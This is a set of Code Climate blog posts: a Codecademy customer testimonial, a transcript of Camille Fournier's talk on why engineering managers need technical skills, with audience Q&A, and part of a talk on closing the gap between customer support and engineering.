Code Climate keeps our process for creating PRs really low-effort so we can quickly test ideas and ship sooner.

Why Code Climate

Like many rapidly developing teams, Codecademy was running into growing pains for both engineering onboarding and code review. They had tried using local analysis tools but found them cumbersome to integrate as development environments varied across the team.

With an engineering workflow centered around pull request reviews, and a desire to reduce friction in committing and testing code, they needed a solution that would optimize their pull request review process and enable new team members to quickly become productive.

Codecademy had been using Code Climate for their Ruby stack since 2013. When Head of Engineering, Jake Hiller, joined in early 2015, he saw an opportunity to alleviate their code review and onboarding issues by rolling it out to the whole team.

“We wanted to avoid anything that blocks engineers from committing and testing code. Other solutions that use pre-commit hooks are invasive to both experimentation and the creative process. Code Climate’s flexibility helps us maintain rules that are tailored to our team and codebase, while offering standard maintainability measurements. Plus it enables us to defer checks until code is ready to be reviewed, so we can quickly test ideas and ship sooner.”

“Code Climate helps us transfer knowledge to new engineers – like our coding standards, why we’ve made decisions over time, and why we’ve chosen certain structures and patterns.

Increased speed and quality

Since rolling out to the whole team, Hiller says Codecademy has seen an improvement in the quality of their code reviews and the ease with which new team members get up to speed.

"Code Climate helps us transfer knowledge to new engineers – like our coding standards, why we’ve made decisions over time, and why we’ve chosen certain structures and patterns. New engineers can look through the Code Climate issues in their PR, ask questions, and propose changes and suggestions to the team.

"It’s also increased the speed and quality of our pull request reviews. We’ve been able to spend more time discussing the important functional aspects of our code, and less time debating smaller issues. There are a lot of issues that can’t be fixed with an auto formatter, which is where Code Climate will always be really helpful for our team.”

About Codecademy

Codecademy was founded in 2011 as an immersive online platform for learning to code in a fun, interactive, and accessible way. They’ve helped 45 million people learn how to code, covering a wide variety of programming languages, frameworks, and larger topics like Data Analysis and Web Development. Their recently released Pro and Pro Intensive products provide users with more hands on support and practice material to help them learn the skills they need to find jobs.

Today we’re sharing The Role of being Technical in Technical Leadership, by Camille Fournier, Managing Director at Two Sigma.

Transcript of talk

Camille Fournier: Hi everyone, I am excited to be here at this Code Climate Summit. We were customers of Code Climate when I was at Rent the Runway, so I’m a huge fan of the product and I was very honored to be invited to come speak.

This is a talk about engineering management, which I think is pretty important for building effective engineering teams and building good products. We’re going to talk about what actually what it means to put the engineer in engineering management.

Before I begin, of course, I must give a pitch to Two Sigma, so I am as of about four months ago, the head of platform engineering at Two Sigma. Two Sigma is a financial company here in New York. Our engineers and modelers harness data at tremendous skill, use machine learning, distributed computing, and other technologies to build powerful predictive models. If you are interested in that world, twosigma.com/careers, check it out.

Okay. So. Let’s get this really started. “You either die an engineer or live long enough to see yourself become the business person.” This something my friend Cliff Moon at some point said or tweeted, probably both, and I like this quote not just because it’s kind of funny, but also because I think it really summarizes the struggle that many people have when they think about engineering management. “Am I still an engineer, or have I suddenly become a business person?”

I personally have struggled with this, so this is how I have a lot of empathy with this. I started out my career as a hands-on engineer, I guess as most people do. I was hands-on for a really long time, building lots of different kinds of systems, mostly distributed systems.

I actually just got photographed for something called Faces of Open Source, it’s facesofopensource.com, which is taking pictures of various people in the open source community. It was a cool experience and this is the photo that came out of that.

So, I’ve spent a long time as a hands-on engineer. At some point in my career I was like, “Oh, I want to do more, I want more power, I want more authority.” Lots of bad reasons, but I decided that I wanted to go into management, so I joined a startup as a director of engineering, and I was still actually writing a lot of code for the first year or so I was there.

As the startup grew - and that startup was, of course, Rent the Runway - as that startup grew and was successful, and I was fortunate to be growing and be successful along with it, I hit that dreaded cliff of no more coding, where I really had to stop coding.

We tell managers that this will happen. Sometimes we tell them a little too early in my opinion. I actually think it’s okay for you to write some code when you have a small team, but there is certainly a point where if you are writing code as a manager, you’re probably avoiding doing more important work, like talking to people, and planning things, and other kinds of things that make teams successful.

It’s still hard. It’s really hard if you’ve been a programmer for a long time, if you’ve been a hands-on person for a long time, hitting that cliff of no coding is really painful. I remember, it probably took me like a year of angst before I finally got over it.

We say a lot of things about management, we call it a career change and now that you’re a manager, you’re no longer an engineer anymore. I have probably said this myself, and while I think it’s kind of true, I also really love the language that we use when we say this, because it’s also kind of a negative way to frame things.

I wrote a book and you all have copies of it, which is cool. I’m very flattered that they decided to give my book as a giveaway here. This book is about being an engineering manager. It’s about the various stages of engineering management.

Part of the reason that I wrote this book was that I felt that there was not a lot out there that really walked the path of being all the way from a mentor and early career leader, but definitely still a hands-on engineer, all the way through to being something like a CTO or a VP of engineering or a senior executive.

I also wrote this book because I have a thesis that is, among other things, while the people side of management is really important, managers also need to be technical. I think that there is a reason that we tend to promote technical people into management roles. It’s not just because we want to punish them.

Engineering management is the intersection of engineering and management.

It’s that, engineering management is the intersection of engineering and management. It is not just managing a bunch of people who happen to be engineers. It is important that you, to be a really successful engineering manager, understand the way that people do their work. You are able to guide their technical decisions.

This doesn’t mean you’re making decisions for them. In fact, most of the time, I don’t really make all that many decisions. I try to ask good questions and guide my teams, but I’m not actually making decisions for them. The hands-on people who are doing the work are making the decisions, but I still need to understand the context in which they are operating. That context includes what it is like to be an engineer.

This talk is going to cover three traits that I believe are overlapping traits that you tend to find in great senior engineers, and the way that these traits translate into what makes good engineering managers. I’m going to talk about debugging, I’m going to talk about empathy, and I’m going to talk about judgment.

DEBUGGING

Let’s start with debugging. I love debugging. I don’t know about all of you, I’m sure some of you do and some of you don’t. It’s definitely not the thing that every single engineer loves to do, but it’s something we all have to do because

I’m sure you’ve probably forgot a semi-colon the first time you wrote hello world.

We’re always debugging all the time. Things are always breaking and you’re always having to debug, and as you become more and more of a senior engineer, you experience more, new, interesting ways that things can fail. You start to sense the vast possibility of causes behind failures.

Part of the reason that I went into management is actually the same reason that I love debugging. I wanted to understand why things were happening. I started asking why a lot. Why is this happening? Why are we doing this? Why do we do this process this way? Why didn’t we fix this? Why didn’t we make this choice? Why, why, why, why?

Asking why too much, it turns out, is a not uncommon way that people end up becoming managers, because they want to know. They want to know not just about what is causing systems to behave in a certain way, but they also want to know what’s causing us to make decisions this way in the first place.

At the end of the day, this skill set overlap is what a lot of people call “systems thinking”. It’s not my favorite term, but I like the concept. People that are good at seeing the interactions of different kinds of systems that you may not have perfect information into. When you’re talking about looking at the interactions of people, you can’t read people’s minds. You can only go by what they tell you.

You don’t always have perfect insight even into the software systems you’re developing. People who are good at seeing in systems, are good at debugging, and they tend to become good managers for the same reason, because, guess what, as a distributed systems engineer, the system is slow, it’s probably the hardest problem you’ll ever have to debug, and as a manager, the team is slow.

“The team is slow” is the hardest problem you’ll ever debug.

It’s probably the hardest thing you’ll ever need to debug, especially if you happen to be working at a startup for a CEO, especially if the CEO is not technical. But e*ven if the CEO is technical, frankly, they always want to know, “Why aren’t we getting it done faster. Why aren’t we moving faster. Why isn’t this release done? Why haven’t we finished this?”

To figure this out, you have to look across a bunch of different elements. You have to look at the people, sometimes as humans, we move slowly because people are unmotivated for whatever reason. They’re burned out, they’re tired. They don’t get along. The team hasn’t actually gelled all that well. You’ve got somebody that’s very disruptive. They just can’t agree on the way to do something.

Sometimes, of course, the challenge is a process problem. You’ve got this product management team that thinks that they’re mini demi-gods over here, throwing work over the wall to the engineering team and saying, “Behold my brilliance, go implement it.” And most engineering teams don’t really like that, it can be very demotivating, although some of them do. You’ve got to understand what process, what’s the process contributing to the team’s slowness.

And of course, sometimes it’s the systems. Sometimes you really are dealing with really hairy, nasty technical problems that are going to take a long time to figure out. They’re going to take a long time to solve.

You as an engineering manager, have moved beyond the world where you’re thinking about the interactions of software systems all the time, but you’re still looking at system interactions. You’re looking at the interactions of the systems of the humans and the processes that the humans are using and the technology that they’re having to deal with to get their job done every day.

EMPATHY

The second characteristic is empathy. We talk about empathy a lot. It was already spoken of quite a bit in the last talk. I think it’s a very popular thing to talk about in technical circles these days, which is probably pretty good, because for a long time we had this very robotic approach to technology. Programmers want to go and close the door and be in silence and just thinking about computers. We do realize that to really build effective products, we need to care about our customers and to build effective teams, we need to care about our teammates, and as a manager, we want people who appreciate people. But, there’s a little more to it than that.

There was a study done recently that showed that the number one contributor to workplace happiness that they measured, was actually whether or not they believed their boss was highly competent. Highly competent could mean a few different things. Highly competent could mean the boss could do your job, but highly competent could also mean a domain expert in the field.

It’s very clear though, that people really do want highly competent bosses, and frankly I feel the same way. I get to work for this guy, his name is Alfred Spector, he is the CTO at Two Sigma. He was a professor of computer science for a long time, actually started a company, then became a lead scientist at IBM. He ran Google Research for a very long time before coming to Two Sigma. He’s a very interesting person. He has a really incredible technical computer science background, he’s a good manager, which is amazing, and he’s entrepreneurial. All of those things are awesome, and I’m really excited to get to work for someone like that. I want to work for someone that I believe is highly competent and has shown a track record of doing great things.

That doesn’t mean that I expect him to sit down next to me and pair program. That actually doesn’t mean that you as a manager are going to be spending all of your time actually in the weeds of the technology, coding with your team.

So what does it really mean to say that we want someone who possesses technical empathy? What does this empathy element mean for managers beyond just, you can see how people are feeling?

I think it really means that you want someone who appreciates the work, someone who appreciates the details of the work and why work is good or bad. Your manager is often the person who evaluates you, who is evaluating your work and saying who’s doing well and who’s not doing well, maybe even who’s going to get promoted. You want that person to actually be able to tell the difference between somebody who does high quality work and someone who doesn’t.

You also just want that feeling of the expert appreciation. It means more when you respect someone’s opinion that they have a high opinion of you. We want someone who really appreciates why our work is hard, why our work is done well, maybe even, sometimes is able to give us suggestions about how to do it better. But certainly, we at least want that appreciation.

It’s also good as a manager, to be able to appreciate what your teams are going to be excited about. Different people are excited about different things, but engineering teams tend to get excited about slightly different kinds of problems than marketing teams or sales teams. Engineering is a special discipline with its own rules, with its own challenges and we want managers who can appreciate and identify interesting problems and direct us towards those interesting problems and make us feel like they understand what the wider tech world is excited about and can actually help us get to do some of those exciting things. Even more importantly of course, we want managers who appreciate what frustrates engineers. It’s not obvious to a non-engineer, what parts of the job are stressful. It just isn’t. It’s very hard to understand how stressful it is to get distracted or pulled away from your code every 15 minutes because somebody keeps coming over to talk to you over your shoulder.

That can be a hard thing for people to understand. It’s much easier with a technical manager, at least someone who appreciates what the work is like, to be able to predict those frustrations and therefore cut them off before they start happening.

TECHNICAL JUDGMENT

Last but not least, there’s the matter of technical judgment, which is of course, very important in senior engineers. I said before that technical management is often the art of guiding technical decision making. It’s not making the decisions yourself, but even when you have a very strong tech lead or architect or whatever and a great product manager, what you will often find as an engineering manager is that you are the person sitting in the middle of those two and trying to balance those differing viewpoints.

You need to make sure that you are actually taking into account the full context of both the technical and the business side in order to help the team prioritize their work. Because ultimately, the technical decisions that are made will impact the effectiveness of the team, and the effectiveness of the team as a manager is definitely your job.

A lot of the people in their first go round of engineering management try to apply just the process to things. They say, “Oh, I know the process that will solve it.” It can be anything from we’re going to do OKRs, we’re going to have engineers vote on whatever project they want to work on, we’re going to do agile, scrum, kanban, whatever style project management you want to do.

I actually think process is useful and different processes work well for different teams, but there’s a lot of nuance. You have to understand what process is going to work for your team. Moreover, you’ve got to remember that process does not make decisions for you. The best thing process does is provide the context, again, all of the information at your fingertips with the right people in the room, to help you make decisions.

One quote I use in my book is that a good political idea is one that works well in half-baked form, which I believe is from some kind of economics blog. I believe the same is true for a process. Good processes are going to work well in half-baked form. As an engineering manager, you’ve got to understand how to get something that works well for your team, but it’s not going to be the magical decider of all your difficult technical decisions.

Good senior engineers and good engineering managers have a good eye for detail. They can be detail oriented when they need to be, because ultimately, building good software systems is all about the details. It’s all about understanding the details of the problem you’re solving and accounting for those details.

The same is true for making good decisions. Good decision making is all about having the taste and understanding the nuance that makes two decisions that seem about equivalent actually different, and one the right way to go, and one the wrong way to go.

I talked about prioritizing. I’m going to reaffirm that point. You’re at the end of the process, you’re trying to get something shipped. Prioritizing, prioritizing, prioritizing, is the name of the game and good engineering managers are good at being in that end stage and looking at the list of technical features and looking at the list of product features and asking both sides what’s really important here.

“What technical features can we absolutely not ship without. It would be bad for us to ship without having any kind of alerting on this, because this is actually pretty mission critical. But you know what? Actually, this is just an MVP and it’s going out to five people, so maybe we can just ship it without that feature.”

On the product side of course, it’s like, “Hey, product team, I know you love all these features, but which of these do you love the most, because guess what, this beautiful widget that you want the engineering team to build, we’ve talked it over and this is going to be a three week project to get right. Does this really have to be in the critical path of delivery?”

Being able to balance those two concerns and advocate for each side is one of the important characteristics of good engineering management.

Last point here, you have to understand the problems that the team is solving well enough to be able to communicate them with various people.

Manager telephone. Manager telephone happens when your manager goes and sits in a meeting, takes a bunch of notes, comes back to the team, asks the questions they have written down on their sheet that were the questions that were asked in the meeting, writes down your responses, goes back to the other team, reads those responses out and so forth. Zero value add. You want managers who can understand at least well enough to focus and reframe the questions that are being asked from people who aren’t familiar with the work of the team and who are good at actually getting the right information out of the engineering team, and making sense of it.

Nobody wants managers who are going to play telephone. That’s simply a zero value add activity. We want people who are going to appreciate the work that’s going on well enough to actually focus the discussions around it.

Debugging, empathy and judgment. These are pretty important. I think these are important skills to build whether you decide to become a manager or whether you simply want to be a really great hands-on engineer. What else?.

There is a little bit of a risk to this whole “rah rah managers should be technical” and that risk is that you get managers who were once pretty good at being technical, but who have gone hands-off for a long time and lost their touch a little bit. They still think of themselves as really amazing, as one of the people, as it were, but they don’t really remember what it’s like, and frankly, they haven’t even kept up, so they don’t really know what it’s like to write code in JavaScript. They’ve only ever written code in C++, and frankly, that’s just a different world, right? Writing code for the browser’s super different. They have not kept up. They don’t really appreciate what the actual work looks and feels like.

Stay humble.

If you decide to go on this path, it’s very important that you stay humble with your knowledge and your understanding. You can glue this in a bunch of different ways. Some people advocate for going back and forth between big companies and small companies where you can be a manager and then you can be hands-on and that’s an awesome path to take.

Some ways you could do it - frankly, I sometimes write a little bit of code. I work on a lot of open source projects, but realistically, you can keep reading code, you can keep helping debugging. You’re going to get a little hands-off, though.

My advice if you decide to follow this path is to, if nothing else, keep learning, particularly about advances in the way software engineers do their work. That’s things like, “What does it mean to build all your software based on cloud services.”

That’s very different than building everything in house. What does it mean to do a continuous deployment process? What are the major advances in the way people actually do work and deliver software? That’s a really important thing for you to keep in touch with as an engineering manager if you’re managing software engineering.

Okay, so these traits, one more time. Debugging, seeing those symptoms, technical empathy, that technical appreciation, and finally judgment, prioritizing and understanding the problems at hand.

I still consider myself an engineer, even though I don’t write code all that often. I personally hope to die an engineer someday, but whichever of those two paths I end up following, I know that it’s going to require constant learning, constant reading.

You can be like this guy. He used to work for Code Climate and he is the quintessential renaissance man who manages to both be the business jerk and be an engineer, all in one. So read more. You can start with my book, because you all have a copy of it, and thank you all very much. I’m happy to take questions.

Audience 1: Thank you for the talk, it’s great. Disclaimer, I’m not an engineer, I’m a product manager. My question to you as the technology industry veteran that you are today, you see these four engineers that either goes into principal engineers or technical fellow or going to director of engineering, do you see the same trend with product management? Do you have any advice for managers of product manager?

Camille Fournier: Not as much, mostly because the product teams tend to be so small that even as a manager of product managers, you’re not usually managing a lot of people. There’s just a huge difference between … frankly, I think you can be an “individual contributor style” engineer and still manage three or four people, particularly if they’re very senior and they don’t require a lot of mentorship or management.

I think that often product management, because there are just not that many people to be managed, it’s not as much of a fork. I do think that what you see happen with product management is that product managers who become more senior or experienced, tend to be like general managers - perhaps of business lines - and that is a bigger, more complex management job.

I could imagine that for product managers there is a little bit of a split between, I’m going to go be a general manager for a pretty big company and run a large business line and actually have a lot of management accountability or I’m going to stay very focused on just product direction and strategy.

Audience 2: Great talk, thank you so much. In your experience, what is a good management to engineer in ratio, so how many engineers per engineering manager do you think is a right mix. I know it’s different for every company and every field and all that, but just in general.

Camille Fournier: Okay. I do think it’s very hard to effectively be a one-on-one manager for more than eight to ten people. If you’ve got a team of more than ten people directly reporting to you, and frankly for many people it’s less than that, you are probably not serving very well, some of those people.

I know personally that if I have more than about six direct reports, at some point, people are getting less of me than they otherwise might. That helps sort of think about the ratios. I do still believe that you can effectively be managing a small team and acting as an individual contributor. You’re not going to be 100% as effective as you would be if you had no team. You can tweak ratios that way, but I certainly don’t think that it’s a good ratio to have one manager per 20 employees. It’s probably not a good ratio to have one manager per two employees either. It’s going to be somewhere in that.

I would say probably one to six, one to eight is okay, especially if the line managers are still expected to stay fairly technical even if they’re not writing a lot of code there, they’re really thinking about a lot of technical issues.

Audience 3: Hi. You said that team effectiveness is a manager’s primary responsibility or one of them. What are the KPI’s that you use to determine your team’s effectiveness?

Camille Fournier: Okay. A few KPIs that I would see, obviously, retention. Are people quitting? That’s a big one. How are we doing on the deliveries that we’ve committed to? If we’ve committed to deliver certain software or hit certain goals, how effective are we at hitting those goals and are those goals stretch goals? Do we think they’re not the level we would like them to be?

I think overall morale of a team is just generally important, so even if people aren’t quitting, you can still find yourself in a situation where people aren’t quitting, but they’re just not that excited about work. They’re not that engaged and enthusiastic. A lot of team effectiveness, the output is what work gets done, but the side pieces of it are really a lot about morale and retention and engagement from the team.

Audience 4: You talked about show an appreciation for team members. Have you ever been in a situation where you show appreciation of a team member and it’s fostered envy from other members or there’s been resentment as a result?

Camille Fournier: Yeah, absolutely. I think was accused of playing favorites at some point in my career, so I’ve tried to be very aware of that. I think appreciation is one of those core management things that you want to try to do a lot for everyone. It actually is not a bad thing to tell people they’re doing a good job fairly regularly and try to tell everyone on the team.

The way you recognize people, particularly if you do public recognition, you’re definitely shaping your culture when you do that. If you always publicly recognize individuals, and you never publicly recognize teams, your company is going to start to develop a culture of “individual accomplishments are the most important thing and it’s better for me to get the win myself than to bring the whole team along.”

You have to be very careful with thinking about how you recognize those things. Honestly, I think a lot of this appreciation is just in that one on one. Do I feel like my boss really understands the work I’m doing well enough to be like, “Wow, that was a hard thing. That was a really cool set up you did to get that migration to go so smoothly. I’m very impressed with the technical work that you did. I’m impressed you thought through this process in that way.”

I think a lot of appreciation is very effective just in a one-on-one context, not even worrying about big team appreciation.

Audience 5: You mentioned we all want to work on hard problems, fun problems, and maybe direct our team towards those. Often we don’t necessarily have the decision making in where the product goes, where a business wants to go, so what are your strategies for maybe managing upward or convincing them of going towards maybe a more difficult problem but more impactful?

Camille Fournier: I think it depends, so a lot of the times … hard problems is a little bit of a, I don’t think I phrased that as well as I should have. Engineers want to feel like they are having impact, so some engineers are very much driven by solving the hardest problem. I think the best thing you can do in that case is help identify where there are really hard problems and make sure you’re keeping those engineers as close to those as possible.

A lot of the times what you do though as an engineering manager is you also help people find some of the more purely technical problems to solve, and those are not necessarily hard in the theoretical computer science hard way, but they’re often hard in the, “Oh we really need to clean up this particular piece of technical data or this particular system” and you as a manager, are actually explaining the value of spending that technical focus to the rest of the business and saying look, “This is what this is going to enable. This is how this is going to speed us up, or not slow us down in the future.”

And that, I think it’s a matter of really being specific about what the goal in that clean up work is and trying to find measurable things that you can do once you have done that. Some of it’s also just about setting very hard guidelines with “we always spend a certain amount of time on this kind of thing because this is important and this is the way we run our engineering teams.” It’s a combination of those things.

Audience 6: As you become more removed from the day to day delivery of code, do you have any tips for ensuring code quality from your team members?

Camille Fournier: That’s hard. Well, perhaps you can use, a lovely product like Code Climate, a word from our sponsors [laughs]. I do think that letting go actually can be really hard. Some of it is setting standards and being as clear as you can about the standards that you want the software to maintain. That can be anything from someone like me, I’m very passionate about testing, I think testing is really important and so I try to set basic standards like, “Look, we should be very cautious about ever accepting pull requests or whatever that don’t have tests with them. Why isn’t this code tested? Why aren’t we writing tests for this stuff?” I think you can do things like that.

I think also some of it though is about, you hopefully have senior engineers on your team that you’ve trained, that they understand what good code looks like. You want them to be teaching everyone on the team what good code looks like. That is really one of those areas where it’s not really your job as a manager, although you probably still care, but you do want to make sure that senior engineers feel like they have the ability to chime in and say, “Hey, we want to improve the standards in this code. We want to improve the standards in this software, and here’s what we’re going to do to help with that.”

Audience 7: When you first transitioned from coding full time to management, did you experience imposter syndrome and how did you deal with that?

Camille Fournier: I wouldn’t say that it was imposter syndrome exactly. I will say that part of becoming a, especially a senior manager, is developing a certain level of presence and being able to, the body language and the way that you present yourself, and the way that you talk, and the questions that you ask, and the things that you do, are actually important. That’s actually a pretty hard lesson to learn, and so I wouldn’t say that it was exactly imposter syndrome, but there was certainly a level of “why am I not getting the respect that I should get because of my title or whatever” and I think some of that was just, “Oh yeah, I have to learn how to be in a room with my peers and be productive and not undermine people and not be disruptive in certain ways, or make my points in a way that people will hear them and they won’t react negatively. I would say for me, that was the harder lesson than imposter syndrome. I don’t feel like I had too much of that, that’s never been my problem.

Audience 8: Hi. Thanks for speaking with us. Quick question on dealing with promotions, especially as your team size starts to grow. You naturally have to promote people within hopefully, but oftentimes you might find a couple of candidates within your team that when one is a more natural leader, but they both have the same aspirations, how do you generally deal with that? How do you smooth that out?

Camille Fournier: Yeah. I think the best thing that you can do … I think you’re lucky if you know the aspirations. I’ve certainly had people where we did a round of making tech leads, for example, and someone got very upset because they weren’t chosen and it was a shock to everyone involved because nobody had any idea that this person was even interested. And so that was a little bit of a mistake on our part of not actually spending the time to understand what people wanted, to understand people’s aspirations. Part of what you need to do is make sure you understand the aspirations.

Once you understand them, I think then if you think that you’ve got a person who has, frankly, better skills right now, maybe because they just have a natural skill set, that’s okay, but you want to give the other person coaching and try to identify specific opportunities for them to develop some of those skills and to learn some of those things.

Even though they’re not necessarily being promoted to manager, maybe they can be running certain projects. Maybe you can work with the new manager and say, "This person really does want to be in a management role and so we need to be looking for opportunities for them to step up and take some leadership and push themselves out of their comfort zone, maybe give presentations to the team”, whatever those gaps that you think that they might have, giving them a chance to actually practice the job and fill those gaps is a good way to prepare them for when the next opportunity arises. Now they really have the skills and the confidence to do it.

All right, I guess that’s it. Thank you.

Camille Fournier is a Managing Director and Head of Platform Engineering at Two Sigma. She is the former Chief Technology Officer of Rent The Runway and a former Vice President of Technology at Goldman Sachs.

Fournier earned an undergraduate degree from Carnegie Mellon University and a Master’s degree in Computer Science from the University of Wisconsin–Madison. She is a maintainer of the Apache ZooKeeper open source project, writes the Ask The CTO column for O’Reilly Media, and is a regular public speaker and advocate for greater diversity within technology and leadership. Her book, The Manager’s Path, was published by O’Reilly in early 2017.

Today we’re sharing The Customer Gap, presented by Code Climate’s Director of Engineering, Gordon Diggs, and Code Climate’s Customer Support Lead, Abby Armada. In this talk, you will hear about how we’ve fostered a positive, productive relationship between customer support and engineering. By creating processes, and encouraging cross-team collaboration, we can combine our strengths to best focus on customers of current and future products.

Transcript of talk

Abby Armada: Before we get into this, I wanted to highlight this customer quote, and following exchange between our customer support and engineering teams. So: “Awesome dedication by the engineering and customer support team. Thanks, Jenna, Abby, and Ashley.” And there’s Jenna, who’s on customer support, saying, “You da best.” And Ashley saying, “No, you da best.” So, you can see this is the kind of vibe your team can have by closing the customer gap.

I’m Abby. I’m the customer support lead here at Code Climate. And including me our awesome team is three people, one being remote. I’ve been at Code Climate for over a year and in various customer-facing roles for about 13 years. I really like running and I really like eat tacos, but not at the same time.

Gordon Diggs: Hi, I’m Gordon. I’m a record collector and I like to cook lasagna. I do sometimes do those two things at the same time. I lead Code Climate’s engineering team and I’m responsible for growing the team in both size, in terms of hiring and, for lack of a better word, “mentality” in terms of our processes and the kinds of ways that we work on things.

Engineering at Code Climate takes up about 40% of the entire company. So, we’re a sizeable department. And Abby and I have actually been discussing and collaborating on the support and engineering relationship for over four years. So we’re really excited to sort of have this culmination of a lot of the stuff that we’ve talked about for so long and share some thoughts with you.

Many companies list customer focus as a core value, but few engineers spend time talking to their customers.

When you think of customer focused companies, you may think of companies like Amazon, where everyone trains in support center and answers calls, or Apple where the CEO regularly works on the support team. And so, many companies list customer focus as a core value. But few engineers spend time actually talking to their customers. So you have the big companies like Amazon and Apple, but many smaller companies that we found also list customer focus as a core value. A lot of people want to do this. They want to be a customer focused company, but it’s really hard and it’s time consuming.

The customer gap: The delta between a stated customer focus and the reality of how engineering spends its time.

And so we coined this term “the customer gap.” We define the customer gap as the delta between the stated customer focus and the reality of how engineering spends its time. Engineering tends to be very separated from our customers. But there are also gaps between your strictly customer-facing departments and your engineering team. If you can close the gap between engineering and those other departments, you can also work to close the customer gap.

Over the years we’ve talked extensively about the gap between customer support and engineering and we think that in order to close that gap, there are things engineering should do, things customer support can do, and things that we should do together.

As a little bit of a visual aid, I made this kind of cheesy chart. But you can sort of see the idea here. You have your customers on the left. You have a small gap between them and your strictly customer-facing departments. And then a wider gap between those departments and your engineering team. And so, one of the things that this shows is that your customer-facing departments are doing a better job of closing the customer gap than you are already, and that’s why they’re closer to the users. And then there’s this larger space between them and the engineering. So, if you can work on closing this gap on the right, then you can really work on closing the greater gap.

Abby Armada: Here’s a brief outline of what we’re going to cover in this talk. We’ll start by talking about ways to build customer empathy within your engineering team. And next, we’ll talk about some examples of processes customer support can implement to work more closely with engineering. And lastly, we’ll talk about closing gaps between engineering and other departments.

Building customer empathy within engineering

Gordon Diggs: Building customer empathy within engineering. This is a really important part of the formula because if your engineers don’t understand your users or their experience, or aren’t bought into this idea of customer empathy and focus, it’ll be a lot harder to close the gap. Ultimately, you really need to get them bought in.

And if I’m being honest, we at Code Climate have this kind of easy. Our customers are software engineers so it’s not a big gap for us, as engineers, to understand our users and their motivations. If we were some kind of printed product, a fashion company, or some kind of feminine care start up, we couldn’t be sure that 100% of our team has something in common with our users and understands them.

So, we can go to conferences, and we can go to meetups, and we can meet people who use our product or who want to use it or who we think should use it because it would really help their workflows. So, this is just a little bit easier for us. But it is also a little bit of a trap. Software engineers are a very diverse group of people and we need to make sure that we don’t project our own biases and assumptions when thinking about our users.

For a few examples: We at Code Climate are a team of Ruby engineers. We work at a small company. We have a good continuous deployment pipeline, and we generally have good coding practices as the nature of the work that we do. But people who buy and use Code Climate come from wildly different perspectives. A lot of them work on very, very large teams, and with tools that we don’t use and understand as well as our own. So while we can get pretty far working with our idea of software engineering, we need to be aware of where that ends and where our customer’s experience starts.

So, it’s really important that customer focus and empathy is a cultural driver. And you need to build that empathy into your engineering culture. It’s not enough to only think about focusing on your customers when things are broken or when your site is down. And so, what does that look like? What does it look like to build empathy into your engineering culture?

First, make your engineers talk to your customers on a regular basis. Include them in customer site visits. Put them on your sales calls. Make them work with support on debugging customer issues. And send them to conferences or meetups or if there’s some kind of trade show that’s relevant to your company, send them to that and put them at the table that you’re sponsoring.

Secondly, we put every mention of Code Climate on Twitter into a Slack channel. So, good and bad, engineers can see what people are saying about Code Climate online. If we ship something and it’s a poor user experience, or the CTA was a really weird color or something and people start complaining about that, we’re going to see it. And similarly, when an engineer ships something that really resonates with a group of users and they start talking about it online, there’s a nice boost there. So, you can kind of get both sides of the coin there.

We also put engineers on the frontline of responding to our community in both our community slack group and on our open source repositories. If you open an issue or a pull request on one of our repos, it doesn’t go to a member of our support team. It goes directly to an engineer who’s responsible for triaging that issue and finding the solution.

Our engineers also run our status page. If our site goes down or our service is in any way degraded, they’re the ones who are responsible for keeping our users up to date about what’s going on. Obviously, they collaborate with marketing and customer support on these updates to make sure that they are of the highest quality that they can be, but ultimately, the timing and the content is up to them.

And lastly, watch your users use the product. One issue that we have as engineers, particularly product engineers is that we know the code that goes into the site and we know that if a page is slow or a user experience is weird, it’s often because the code behind it is complicated. And we bring this bias into using our own product that, “Well, this page is slow because there’s all this nested logic in the templates and stuff.” But your users don’t understand that. They don’t have any of that. And watching them interact with your product, watching the way that they use it, and where they get frustrated, will really help eradicate some of that handwaviness.

So, as with most cultural efforts, building empathy is harder on bigger teams.

Panna actually touched on this a little bit earlier. So, if you can start when your team is small, that’s better. The bigger your team is, the more people you need to convince to buy in to this idea of customer focus and empathy. So, if you’re at a small company, that’s great. You’re in a really prime position to effect change across your team. If you’re at a larger company, all hope is not lost. You can start with a small subset of your team, find a pilot team, and have engineering managers of that team spread their success laterally throughout the organization.

And it’s really important, I really want to mention that it’s not enough to silo this empathy. You can do all you want to build customer focus within your engineering team, but it’s also important to work closely with your support team. And Abby’s going to talk a little bit about some of the ways to do that.

Helping each other

Abby Armada: So, you have to work together. There are a couple of solutions we created here at Code Climate to help both the engineering and support teams be successful at this. These solutions may seem obvious in some ways but the execution and upkeep is essential for it to work well and close the gap, which in turn closes the other gap that exists between engineering and your customers.

The first of these solutions on our side was addressing escalations, which is when a customer’s problem has gone past a scope of troubleshooting and knowledge of the support team and requires a solution from an engineer or someone else. I’m sure many of you here have had to deal with customer escalations in one way or another, and it might have been a thorn in your side. We did a lot of work to improve this process for both of our teams, which ultimately has made our customers way happier.

Our main channel of support is email, then it trickles through to Twitter, Slack, and sometimes GitHub Issues. This is where all of our escalations come from.

So, how did we address escalations before? Engineers worked on escalations on a weekly rotation. This wasn’t ideal for anyone. For the incoming engineer, there wasn’t a lot of context for existing open issues. Plus, it seemed like a giant chore that was an interruption to their regular work. On support’s side, it’s hard to ramp up someone for this work, and it’s especially difficult to form a good working relationship with your new engineer for only a one-week rotation.

We didn’t have a great way of tracking this work, or a consistent process for handing off open issues to the new engineer, or giving enough context for the problems. Prioritizing issues did not exist at all, and we kind of thought they would just figure it out. This led to everyone drowning in a sea of confusion and sadness.

To fix this we came up with a couple of solutions. Instead of a weekly rotation, we now have a dedicated support engineer for a quarter. This solved that problem of feeling like they’re interrupting other work and gives the engineer a chance to fully work and focus on escalations. It also builds a great rapport between engineering and support because we get to know each other for a quarter.

And we broke down our escalations by severity, which gives us an actual prioritization system that makes sense to both teams. There are now four levels of severity, one being the highest and four being the lowest. This isn’t a new concept by any means, but implementing something concrete was the most important part of the solution.

We also documented how to respond to each severity, both as a support person, and as an engineer, and holistically as an organization. This is written in our company handbook so everyone can see and have the knowledge. We also have concrete examples in the doc for easy reference. So, if someone is confused, they can look at the doc examples and know how to assign an issue a severity.

And lastly, we started using a GitHub repo and issues to track and update customer escalations. Everyone in the company already knows how to use GitHub, so implementing this part was the easiest.

This is an example of our severity documentation. You don’t need to read the whole thing – and the people in the back probably can’t anyway – but you can see the structure of how we define severities. In this case, this is a severity three, normal/minor impact. It’s something that’s like a moderate loss of application functionality that doesn’t really affect any of their other workflows. It matches the description. And then the examples live underneath. In this case, a customer reports a bug in an engine that’s kind of broken but doesn’t have any effect anything else that they’re doing. And then the response plan underneath details what both the customer support person and the engineers can do to sort of solve this issue.

